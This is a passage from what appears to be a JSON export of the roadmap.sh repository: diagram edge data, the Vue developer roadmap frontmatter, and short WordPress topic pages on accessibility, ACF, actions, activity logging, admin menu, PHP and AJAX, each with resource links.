\"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PQu4TyJOfCEaafW5th0e4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NfB3HlZ3uwYK5xszvV50b\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Bx1Atxcf15AEaA1BiSIc6y2-NfB3HlZ3uwYK5xszvV50bz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PQu4TyJOfCEaafW5th0e4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gMFndBcrTC6FtGryqN6dX\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Bx1Atxcf15AEaA1BiSIc6y2-gMFndBcrTC6FtGryqN6dXz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PQu4TyJOfCEaafW5th0e4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dSfrFLr8wKkLAOMJwtCTr\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Bx1Atxcf15AEaA1BiSIc6y2-dSfrFLr8wKkLAOMJwtCTrz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PQu4TyJOfCEaafW5th0e4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4p6Gh2fMPA8hls_mWa5HR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-PQu4TyJOfCEaafW5th0e4x2-Bx1Atxcf15AEaA1BiSIc6w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4p6Gh2fMPA8hls_mWa5HR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"b7iXwtUnELg_ShbCyTrNA\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Bx1Atxcf15AEaA1BiSIc6y2-b7iXwtUnELg_ShbCyTrNAw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4p6Gh2fMPA8hls_mWa5HR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Bx1Atxcf15AEaA1BiSIc6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-4p6Gh2fMPA8hls_mWa5HRz2-Bx1Atxcf15AEaA1BiSIc6y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Bx1Atxcf15AEaA1BiSIc6\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Bx1Atxcf15AEaA1BiSIc6x2-HOPgVo3xf0ZN8DmU9BDpow1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Re7tv1U0LxYqE5ShFxQSf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HOPgVo3xf0ZN8DmU9BDpoy2-Re7tv1U0LxYqE5ShFxQSfz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SGsd08ZTu4H76s8cfbCKe\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HOPgVo3xf0ZN8DmU9BDpoy2-SGsd08ZTu4H76s8cfbCKez1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"xwVbhOpQMPPB4G-lhro0B\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HOPgVo3xf0ZN8DmU9BDpoy2-xwVbhOpQMPPB4G-lhro0Bz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"br1r8KIf5KInY5mk2xhA6\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HOPgVo3xf0ZN8DmU9BDpoy2-br1r8KIf5KInY5mk2xhA6z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_Nc8ivQrdpKuf8MwaV-K7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HOPgVo3xf0ZN8DmU9BDpoy2-_Nc8ivQrdpKuf8MwaV-K7z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kdlXhbw_a81xdZtyK-pVa\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HOPgVo3xf0ZN8DmU9BDpoy2-kdlXhbw_a81xdZtyK-pVaz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jkX66izOHVWqtyd6KZ0K6\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HOPgVo3xf0ZN8DmU9BDpoy2-jkX66izOHVWqtyd6KZ0K6z2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YTzOdnGWNKTjk8T1fcaiO\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-A5p6pqSOtLJybt4LrZ1Stx2-HOPgVo3xf0ZN8DmU9BDpow1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YTzOdnGWNKTjk8T1fcaiO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HOPgVo3xf0ZN8DmU9BDpo\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YTzOdnGWNKTjk8T1fcaiOz2-HOPgVo3xf0ZN8DmU9BDpoy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HOPgVo3xf0ZN8DmU9BDpo\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"Z9szBPFXfqK_KsvzkR-rf\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HOPgVo3xf0ZN8DmU9BDpow2-Z9szBPFXfqK_KsvzkR-rfx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YTzOdnGWNKTjk8T1fcaiO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ixRG0xfEp4BmyvCR0mtoR\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YTzOdnGWNKTjk8T1fcaiOx2-ixRG0xfEp4BmyvCR0mtoRw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ixRG0xfEp4BmyvCR0mtoR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"COxkmvqe9jFtV9WtGjfbh\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ixRG0xfEp4BmyvCR0mtoRz2-COxkmvqe9jFtV9WtGjfbhy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ixRG0xfEp4BmyvCR0mtoR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"izGdctxP_OvQNvaMwVIrh\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ixRG0xfEp4BmyvCR0mtoRy2-1nmGJFENMmI1WXAeUHeCtz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"izGdctxP_OvQNvaMwVIrh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"BXz1utB_2eYzFvzSbFKx0\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1nmGJFENMmI1WXAeUHeCtx2-BXz1utB_2eYzFvzSbFKx0w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"izGdctxP_OvQNvaMwVIrh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Cm6mqXYp-G4mGfPxuU73_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-izGdctxP_OvQNvaMwVIrhy2-Cm6mqXYp-G4mGfPxuU73_z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cm6mqXYp-G4mGfPxuU73_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"822tGnM9jOkYh9aNlosPr\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-Cm6mqXYp-G4mGfPxuU73_y2-1nmGJFENMmI1WXAeUHeCtx2\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"822tGnM9jOkYh9aNlosPr\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8xZxTLYq5m5_nkGh2lfUt\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1nmGJFENMmI1WXAeUHeCtz2-8xZxTLYq5m5_nkGh2lfUty2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"822tGnM9jOkYh9aNlosPr\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"_46COO0FGaFuCYwqaRRWy\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1nmGJFENMmI1WXAeUHeCtw2-_46COO0FGaFuCYwqaRRWyx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cm6mqXYp-G4mGfPxuU73_\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"8xZxTLYq5m5_nkGh2lfUt\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Cm6mqXYp-G4mGfPxuU73_w2-8xZxTLYq5m5_nkGh2lfUtx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cm6mqXYp-G4mGfPxuU73_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sg9IjWWorT2lLEnUek-q5\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Cm6mqXYp-G4mGfPxuU73_x2-sg9IjWWorT2lLEnUek-q5w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"q1PayNkcJHU43QCdChAXt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9AwVtwIv6TfP9F4ulz2F0\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-q1PayNkcJHU43QCdChAXtz2-3RwIO-S8-xOYKNmfwk0pfy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9AwVtwIv6TfP9F4ulz2F0\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"NIvjyhtTFC1gomtGQT_2t\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3RwIO-S8-xOYKNmfwk0pfw2-NIvjyhtTFC1gomtGQT_2tx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9AwVtwIv6TfP9F4ulz2F0\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ZLlz0Azfze-8k3z8HnVvE\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-9AwVtwIv6TfP9F4ulz2F0x2-3RwIO-S8-xOYKNmfwk0pfw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZLlz0Azfze-8k3z8HnVvE\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"l2Rl6OQbL7kYvPlpYCZ0Z\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3RwIO-S8-xOYKNmfwk0pfx2-l2Rl6OQbL7kYvPlpYCZ0Zw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZLlz0Azfze-8k3z8HnVvE\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3RwIO-S8-xOYKNmfwk0pf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ZLlz0Azfze-8k3z8HnVvEy2-3RwIO-S8-xOYKNmfwk0pfz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3RwIO-S8-xOYKNmfwk0pf\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"IsNzCdS05tbAK0D1zz0Sf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3RwIO-S8-xOYKNmfwk0pfy2-IsNzCdS05tbAK0D1zz0Sfz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3RwIO-S8-xOYKNmfwk0pf\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-3RwIO-S8-xOYKNmfwk0pfx2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/vue/vue.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/vue.json'\npdfUrl: '/pdfs/roadmaps/vue.pdf'\nrenderer: 'editor'\norder: 3\nbriefTitle: 'Vue'\nbriefDescription: 'Step by step guide to become a Vue Developer in 2025'\ntitle: 'Vue Developer'\ndescription: 'Everything that is there to learn about Vue and the ecosystem in 2025.'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2150\nschema:\n  headline: 'Vue Developer Roadmap'\n  description: 'Learn to become a Vue Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/vue.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Vue Developer Roadmap: Learn to become a Vue developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for vue development. Learn to become a modern Vue developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a vue developer'\n    - 'guide to becoming a vue.js developer'\n    - 'vue developer roadmap'\n    - 'vue.js developer roadmap'\n    - 'vue roadmap'\n    - 'vue roadmap 2025'\n    - 'vue.js roadmap'\n    - 'vue.js roadmap 2025'\n    - 'become vue developer'\n    - 'become vue.js developer'\n    - 'vue developer skills'\n    - 'vue.js developer skills'\n    - 'vue skills test'\n    - 'vue.js skills test'\n    - 'skills for vue development'\n    - 'skills for vue.js development'\n    - 'learn vue development'\n    - 'learn vue.js development'\n    - 'what is vue'\n    - 'what is vue.js'\n    - 'vue quiz'\n    - 'vue.js quiz'\n    - 'vue interview questions'\n    - 'vue.js interview questions'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'javascript'\n  - 'react'\n  - 'angular'\n  - 'nodejs'\nrelatedQuestions:\n  - 'javascript'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/accessibility@bfFSH7alQ8IZZJ5gUed-T.md",
    "content": "# Accessibility\n\nAccessibility refers to designing and developing websites that are usable by people of all abilities, including those with disabilities. This involves ensuring that content is perceivable, operable, understandable, and robust for users who may rely on assistive technologies like screen readers, keyboard navigation, or alternative input devices. A focus on accessibility creates a more inclusive and user-friendly experience for everyone.\n\nVisit the following resources to learn more:\n\n- [@official@Accessibility](https://wordpress.org/about/accessibility/)\n- [@official@Accessibility Coding Standards](https://developer.wordpress.org/coding-standards/wordpress-coding-standards/accessibility/)\n- [@article@How to Make Your WordPress Website Accessible](https://kinsta.com/blog/wordpress-accessibility/)\n- [@article@The Complete Guide to Accessibility for WordPress Websites](https://www.deque.com/blog/wordpress-accessibility/)\n- [@video@Testing your content for accessibility](https://www.youtube.com/watch?v=iEL11QKi7T0)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/acf@JTWl8rqTwaD2YulcOnwu9.md",
    "content": "# Advanced Custom Fields (ACF)\n\nAdvanced Custom Fields (ACF) is a WordPress plugin that allows you to add custom fields to your WordPress edit screens. These custom fields can include various types of data, such as text, images, files, and more, enabling you to create more structured and dynamic content for your website without needing to write custom code. This provides greater control over the content entry process and how that content is displayed on the front end.\n\nVisit the following resources to learn more:\n\n- [@official@Advanced Custom Fields](https://www.advancedcustomfields.com/)\n- [@official@Advanced Custom Fields Plugin](https://wordpress.org/plugins/advanced-custom-fields/)\n- [@article@Advanced Custom Fields Tutorial: Your Ultimate Guide](https://kinsta.com/blog/advanced-custom-fields/)\n- [@video@Unlock WordPress Potential: A Beginner's Guide to Advanced Custom Fields](https://www.youtube.com/watch?v=G6ENmGxR2ow)\n- [@video@WordPress Advanced Custom Fields for Beginners (Step by Step Tutorial)](https://www.youtube.com/watch?v=nr8kiBNHGtw)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/actions@zAV29-MTFNLLVPu3rlRFv.md",
    "content": "# Actions\n\nActions in WordPress are hooks that allow you to execute custom functions at specific points in the WordPress core, plugins, and themes. They provide a way to \"do\" something at a particular moment during the execution of WordPress code, enabling developers to modify or extend functionality without directly altering the source code. Think of them as triggers that fire off custom code when certain events occur within WordPress.\n\nVisit the following resources to learn more:\n\n- [@official@Actions](https://developer.wordpress.org/plugins/hooks/actions/)\n- [@official@Action Reference](https://developer.wordpress.org/apis/hooks/action-reference/)\n- [@article@The WordPress Hooks Bootcamp: How to Use Actions, Filters, and Custom Hooks](https://kinsta.com/blog/wordpress-hooks/)\n- [@video@WordPress Hooks Actions and Filters Introduction Full Playlist Part -1](https://www.youtube.com/watch?v=7qiPMpi2xc0&list=PLD8nQCAhR3tTVcreVOlFteq0piaXq1jjk)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/activity-logging@KBHvwgqRRRg-amfGTUAL3.md",
    "content": "# Activity Logging\n\nActivity logging involves tracking and recording actions taken within a system, such as user logins, content modifications, and settings changes. This creates an audit trail that can be used for security analysis, troubleshooting, and compliance purposes. By monitoring these activities, administrators can identify suspicious behavior, investigate security incidents, and gain insights into how the system is being used.\n\nVisit the following resources to learn more:\n\n- [@article@Definitive guide to WordPress activity logs](https://melapress.com/wordpress-activity-log/definitive-guide/?utm_medium=referral&utm_source=roadmapsh&utm_campaign=wproadmap)\n- [@article@7 Best WordPress Activity Log and Tracking Plugins (Compared)](https://www.wpbeginner.com/showcase/best-wordpress-activity-log-and-tracking-plugins-compared/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/admin-menu@nTuHbvhf6OgM6ZekXqGSa.md",
    "content": "# Admin Menu\n\nThe Admin Menu in WordPress is the navigation panel located on the left side of the WordPress dashboard. It provides access to various administrative functions, such as managing posts, pages, media, users, settings, and plugins. Users with appropriate roles can use this menu to configure and customize their WordPress site."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/advanced-php--architecture@aI9yJGnzztuVayUhgIxAw.md",
    "content": "# Advanced PHP & Architecture\n\nAdvanced PHP & Architecture in WordPress delves into the deeper aspects of PHP programming and the underlying structure of the WordPress platform. It involves understanding object-oriented programming principles, design patterns, and how WordPress core functions and APIs are built. This knowledge allows developers to create more efficient, scalable, and maintainable plugins and themes, as well as contribute to the WordPress core itself.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated PHP Roadmap](https://roadmap.sh/php)\n- [@official@PHP Optimization](https://developer.wordpress.org/advanced-administration/performance/php/)\n- [@article@WordPress and PHP: What it is, how WordPress uses it, and more](https://www.liquidweb.com/wordpress/php/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/ajax-in-wordpress@BS0poxbCfYfBvvnZzODH0.md",
    "content": "# AJAX in WordPress\n\nAJAX (Asynchronous JavaScript and XML) is a web development technique that allows web pages to update content dynamically without requiring a full page reload. This is achieved by exchanging data with a server in the background, meaning parts of a webpage can be updated independently, leading to a smoother and more responsive user experience."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/assets@TX8dzu0k2sgXUnUOldhmZ.md",
